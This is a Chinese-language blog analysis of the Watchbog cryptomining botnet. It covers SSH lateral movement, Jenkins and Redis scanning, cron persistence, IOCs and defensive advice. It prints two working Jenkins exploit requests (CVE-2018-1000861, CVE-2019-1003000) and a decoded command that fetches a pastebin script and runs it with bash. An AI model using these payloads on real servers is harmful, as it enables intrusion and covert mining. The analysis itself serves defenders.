• 对 Watchbog Botnet 渗透过程和 Payload 的分析


    漏洞利用

    Watchbog在做什么?

    Watchbog僵尸网络为其所有者挖掘Monero加密货币

    通过SSH进行横向移动

    使用SSH进行横向扩散。使用网络日志可以看到大量的SSH流量

    以下Bash脚本用于促进横向移动过程。检索受感染系统上的known_hosts文件的内容,然后尝试SSH到这些系统。还检查SSH密钥是否存在,并利用它们对known_hosts文件中的系统进行身份验证。如果成功则启动感染模块。

    通过JENKINS和REDIS服务器进行横向移动

    除了利用SSH进行横向移动之外,Watchbog还尝试利用Python脚本扫描主机子网上的开放Jenkins和Redis端口。如果脚本发现任何易受攻击的服务器,会尝试使用curl或wget命令从Pastebin检索有效的Payload并在目标上执行。

    根据第71行的以下字符串,该脚本以CVE-2018-1000861为目标,这是Staple Web框架中的漏洞,适用于处理HTTP请求的Jenkins 2.138.1或2.145版本。

    持久性机制

    使用cron,dropper每小时调用Pastebins以获取新信息。下面的截图显示了Watchbog配置负责实现受感染系统持久性的cron作业的方式。

    受害者机器上的Payload

    CVE-2018-1000861 :

    GET /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=True&value=public class x{public x(){new String("776765742068747470733a2f2f706173746562696e2e636f6d2f7261772f42335235556e7768202d4f202f746d702f62616279".decodeHex()).execute()}} HTTP/1.1
    Host: [victim_host]:[jenkins_port]
    
    

    针对CVE-2019-1003000的攻击

    GET /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name=%27orange.tw%27,%20root=%27http://45.55.211.79/%27)%0a@Grab(group=%27tw.orange%27,%20module=%27poc%27,%20version=%278%27)%0aimport%20Orange; HTTP/1.1
    Host: [victim_host]:[jenkins_port]
    

    CVE-2018-1000861是Jenkins的Stapler Web框架中的漏洞,而CVE-2019-1003000是Script Security Plugin中的漏洞。

    前CVE-2018-1000861有效负载中的十六进制编码部分下载并运行恶意shell命令:

    ···
    wget https://pastebin.com/raw/B3R5Unwh -O /tmp/baby
    bash /tmp/baby
    ···
    包含的url指向另一个pastebin url(https://pastebin.com/raw/J6NdVBHq),它指向另一个。

    恶意shell脚本的主要部分已编码并放在https://pastebin.com/raw/KGwfArMR中。

    挖掘和持久性

    在执行上述shell脚本期间,通过从以下URL下载(从$ mi_64解码)在受害者服务器上安装加密货币挖掘器

    https://github.com/xmrig/xmrig/releases/download/v2.14.1/xmrig-2.14.1-xenial-x64.tar.gz

    挖掘的配置文件如下:

    恶意shell脚本通过将自身添加到crontab来维护持久性。

    其他被篡改的crontab文件:

    IOC

    Hashes (SHA256):

    b383d0fdfa5036ccfa5d9c2b43cbfd814bce8778978873057b86678e5295fc61 0b0567c9b45ea0a3ea4267001f0760ccdf2b8224fceaf8979d32fcceb2d6fb7a

    3A6271A90D0F6CC8A2D31D45D931E8401F13F7377932BA07D871DC42F252B9CA

    Domains:

    aziplcr72qjhzvin[.]onion[.]to

    安全建议

    • 内部使用服务不应暴露于互联网。使用适当的ACL或其他身份验证技术仅允许来自可信用户的访问。
    • 用户必须及时升级其软件,尤其是当软件供应商发布了与安全相关的建议时。

    参考

  • 相关阅读:
    解决Cell重绘导致 重复的问题
    给Cell间隔颜色
    NSUserDefault 保存自定义对象
    xcode6 下载
    unrecognized selector sent to instance
    16进制颜色转换
    local unversioned, incoming add upon update问题
    应用崩溃邮件通知
    TabBar变透明
    代码手写UI,xib和StoryBoard间的博弈,以及Interface Builder的一些小技巧
  • 原文地址:https://www.cnblogs.com/17bdw/p/11515944.html
Copyright © 2020-2023  润新知